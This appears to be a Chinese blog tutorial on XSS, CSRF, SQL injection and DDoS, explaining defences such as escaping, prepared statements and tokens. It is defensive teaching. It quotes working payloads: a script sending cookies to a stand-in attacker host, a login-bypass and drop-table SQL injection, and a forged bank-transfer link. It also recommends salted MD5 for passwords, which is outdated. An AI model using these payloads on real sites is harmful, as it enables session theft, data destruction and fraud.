本文简单介绍几种常见的攻击手段及其防御方式

  • XSS(跨站脚本攻击)
  • CSRF(跨站请求伪造)
  • SQL注入
  • DDOS

XSS

概念

  • 全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序。

案列

  • 比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的 <script>window.open(“www.gongji.com?param=”+document.cookie)</script>,如果我没有对他的内容进行处理,直接存储到数据库,那么下一次当其他用户访问他的这篇文章的时候,服务器从数据库读取后然后响应给客户端,浏览器执行了这段脚本,然后就把该用户的cookie发送到攻击者的服务器了。

被攻击的原因

  • 用户输入的数据变成了代码,比如说上面的<script>,应该只是字符串却有了代码的作用。

预防

  • 将输入的数据进行转义处理,比如说讲 < 转义成&lt;

SQL注入

概念

  • 通过sql命令伪装成正常的http请求参数,传递到服务器端,服务器执行sql命令造成对数据库进行攻击

案例

  • ' or '1'= '1。这是最常见的sql注入攻击,当我们输如用户名 jiajun ,然后密码输如'or '1'= '1的时候,我们在查询用户名和密码是否正确的时候,本来要执行的是select * from user where username='' and password='',经过参数拼接后,会执行sql语句 select * from user where username='jaijun' and password=' ' or ' 1'='1 ',这个时候1=1是成立,自然就跳过验证了。
  • 但是如果再严重一点,密码输如的是';drop table user;--,那么sql命令为select * from user where username='jiajun' and password='';drop table user;--' 这个时候我们就直接把这个表给删除了

被攻击的原因

  • sql语句伪造参数,然后在对参数进行拼接的后形成破坏性的sql语句,最后导致数据库受到攻击

预防

  • 在java中,我们可以使用预编译语句(PreparedStatement),这样的话即使我们使用sql语句伪造成参数,到了服务端的时候,这个伪造sql语句的参数也只是简单的字符,并不能起到攻击的作用。
  • 很多orm框架已经可以对参数进行转义
  • 做最坏的打算,即使被’拖库‘('脱裤,数据库泄露')。数据库中密码不应明文存储的,可以对密码使用md5进行加密,为了加大破解成本,所以可以采用加盐的(数据库存储用户名,盐(随机字符长),md5后的密文)方式。

CSRF

概念

  • 全称是跨站请求伪造(cross site request forgery),指通过伪装成受信任用户的进行访问,通俗的讲就是说我访问了A网站,然后cookie存在了浏览器,然后我又访问了一个流氓网站,不小心点了流氓网站一个链接(向A发送请求),这个时候流氓网站利用了我的身份对A进行了访问。

案列

  • 这个例子可能现实中不会存在,但是攻击的方式是一样的。比如说我登录了A银行网站,然后我又访问了室友给的一个流氓网站,然后点了里面的一个链接 www.A.com/transfer?account=666&money=10000,那么这个时候很可能我就向账号为666的人转了1w软妹币
  • 注意这个攻击方式不一定是我点了这个链接,也可以是这个网站里面一些资源请求指向了这个转账链接,比如说一个<img src="http://www.A.com/transfer?account=666&money=10000">

被攻击的原因

  • 用户本地存储cookie,攻击者利用用户的cookie进行认证,然后伪造用户发出请求

预防

  • 之所以被攻击是因为攻击者利用了存储在浏览器用于用户认证的cookie,那么如果我们不用cookie来验证不就可以预防了。所以我们可以采用token(不存储于浏览器)认证。
  • 通过referer识别,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。那么这样的话,我们必须登录银行A网站才能进行转账了。

DDOS

概念

  • 分布式拒绝服务攻击(Distributed Denial of Service),简单说就是发送大量请求是使服务器瘫痪。DDos攻击是在DOS攻击基础上的,可以通俗理解,dos是单挑,而ddos是群殴,因为现代技术的发展,dos攻击的杀伤力降低,所以出现了DDOS,攻击者借助公共网络,将大数量的计算机设备联合起来,向一个或多个目标进行攻击。

案例

  • SYN Flood ,简单说一下tcp三次握手,客户端先服务器发出请求,请求建立连接,然后服务器返回一个报文,表明请求以被接受,然后客户端也会返回一个报文,最后建立连接。那么如果有这么一种情况,攻击者伪造ip地址,发出报文给服务器请求连接,这个时候服务器接受到了,根据tcp三次握手的规则,服务器也要回应一个报文,可是这个ip是伪造的,报文回应给谁呢,第二次握手出现错误,第三次自然也就不能顺利进行了,这个时候服务器收不到第三次握手时客户端发出的报文,又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求,这个时候服务器将维护一个非常大的半连接等待列表,占用了大量的资源,最后服务器瘫痪。
  • CC攻击,在应用层http协议上发起攻击,模拟正常用户发送大量请求直到该网站拒绝服务为止。

被攻击的原因

  • 服务器带宽不足,不能挡住攻击者的攻击流量

预防

  • 最直接的方法增加带宽。但是攻击者用各地的电脑进行攻击,他的带宽不会耗费很多钱,但对于服务器来说,带宽非常昂贵。
  • 云服务提供商有自己的一套完整DDoS解决方案,并且能提供丰富的带宽资源

总结

  • 上面一共提到了4中攻击方式,分别是xss攻击(关键是脚本,利用恶意脚本发起攻击),CSRF攻击(关键是借助本地cookie进行认证,伪造发送请求),SQL注入(关键是通过用sql语句伪造参数发出攻击),DDOS攻击(关键是通过手段发出大量请求,最后令服务器崩溃)
  • 之所以攻击者能成功攻击,用户操作是一个原因,服务器端没有做好防御是一个问题,因为无法控制用户的操作,所以需要我们服务器端的开发做好防御。
  • 没有觉得绝对安全,只要更安全。

参考博客:http://www.cnblogs.com/-new/p/7135814.html

常见的攻击手段及其防御方式相关推荐

  1. 网络安全:常见攻击手段及防御

    随着互联网的发展,网络安全日益显的尤为重要,接下来介绍一下常见的web攻击手段. 1.XSS攻击(Cross Site Scripting) 全称跨站脚本攻击  是一种常见的攻击手段之一,攻击者主要通 ...

  2. WEB攻击手段及防御-扩展篇

    转载自 WEB攻击手段及防御-扩展篇 之前的文章介绍了常见的XSS攻击.SQL注入.CSRF攻击等攻击方式和防御手段,没有看的去翻看之前的文章,这些都是针对代码或系统本身发生的攻击,另外还有一些攻击方 ...

  3. 常用网站攻击手段及防御方法

    常见的攻击手段--XSS XSS攻击的全称是跨站脚本攻击(Cross Site Scripting),为不跟层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻 ...

  4. 常见APP攻击方法 以及防御方法介绍(移动安全)

    一.常见APP攻击风险以及防御方法介绍 二.APP攻击以及防御方法 案例讲解 1.基于组件攻击 - 应用劫持 用户打开安卓手机上的某一应用,这时,恶意软件侦测到用户的这一动作,如果立即弹出一个与该应用 ...

  5. web应用常见的攻击手段

    Web应用是由动态脚本.编译过的代码等组合而成. 它通常架设在Web服务器上,用户在Web浏览器上发送请求,这些请求使用HTTP协议,经过因特网和企业的Web应用交互,由Web应用和企业后台的数据库及 ...

  6. DDOS攻击详解——常见网站攻击手段原理与防御

    DDOS攻击为分布式拒绝服务攻击. DDOS攻击分类: 网络层攻击: SYN-flood:利用TCP建立连接时3次握手的"漏洞",发送源地址虚假的提交,永远无法完成三次握手.占满系 ...

  7. 企业需要防范的 6 个常见身份攻击手段|身份云研究院

    零信任作为新一代的网络安全防护理念,已经成为全球网络安全管理的基石.零信任的核心是 「安全体系架构从网络中心化走向身份中心化」,「以身份为中心」的网络访问控制理念也逐渐被越来越多企业接受并实践. 然而 ...

  8. WEB攻击手段及防御第3篇-CSRF

    概念 CSRF全称即Cross Site Request forgery,跨站点请求伪造,攻击者通过跨站点进行伪造用户的请求进行合法的非法操作,其攻击手法是通过窃取用户cookie或服务器sessio ...

  9. 10种常见网站安全攻击手段及防御方法

    在某种程度上,互联网上的每个网站都容易遭受安全攻击.从人为失误到网络罪犯团伙发起的复杂攻击均在威胁范围之内. 网络攻击者最主要的动机是求财.无论你运营的是电子商务项目还是简单的小型商业网站,潜在攻击的 ...

最新文章

  1. 哈工程计算机学院领导门志国,电气学院“钥匙工程”第二季:赵洪教授为2018级新生打开专业之门...
  2. 在Android Studio环境下使用ESPRESSO 测试框架进行UI测试
  3. linux c程序中内核态与用户态内存存储问题
  4. 16 BP报错-尚未在外部定义科目组 的编码范围
  5. .net IntPtr ==interoperable pointer
  6. 区块链查比特币_登图区块链课堂——比特币矿机发展史
  7. 赞一个 kindle电子书有最新的计算机图书可买了【Docker技术入门与实战】
  8. 操作系统数据结构知识点总结1
  9. 郑州大学linux安装锐捷客户端
  10. IV值区间与预测能力关系
  11. 东软实训告诉你:职场上不该说的13种话
  12. c 语言编程字谜,字谜游戏(a)C语言
  13. 逆向unity3d手机游戏
  14. 如何把windows锁屏画面提取成JPG图像,并作为桌面壁纸
  15. Qt开发学生信息管理系统
  16. 嵌入式软件学习问题汇总(一)什么是嵌入式?
  17. 使用命令将项目打包并使用WinSCP将包部署到服务器
  18. Electron学习笔记(五) 通过Addon(n-api)实现可扩展接口
  19. 一些PPT演讲前暖场的音乐
  20. 马士兵mca课程java学习笔记

热门文章

  1. sql2000 mysql 兼容_SQL Server2000如何恢复数据库
  2. java人体识别_用华为HMS ML kit人体骨骼识别技术,Android快速实现人体姿势动作抓拍...
  3. sam格式的结构和意义_各种格式的练字本,对写字真有帮助吗
  4. python学习实例(2)
  5. 机器学习知识总结系列-机器学习中的数学-概率与数理统计(1-3-1)
  6. 小米用户画像_企鹅智库:高学历用苹果中老年用华为 男性用小米女性用OV
  7. C++primer 第 2 章 变量和基本类型
  8. java 家庭收支账户
  9. 英语口语-文章朗读Week9 Wednesday
  10. 6个变态的C语言写的Hello World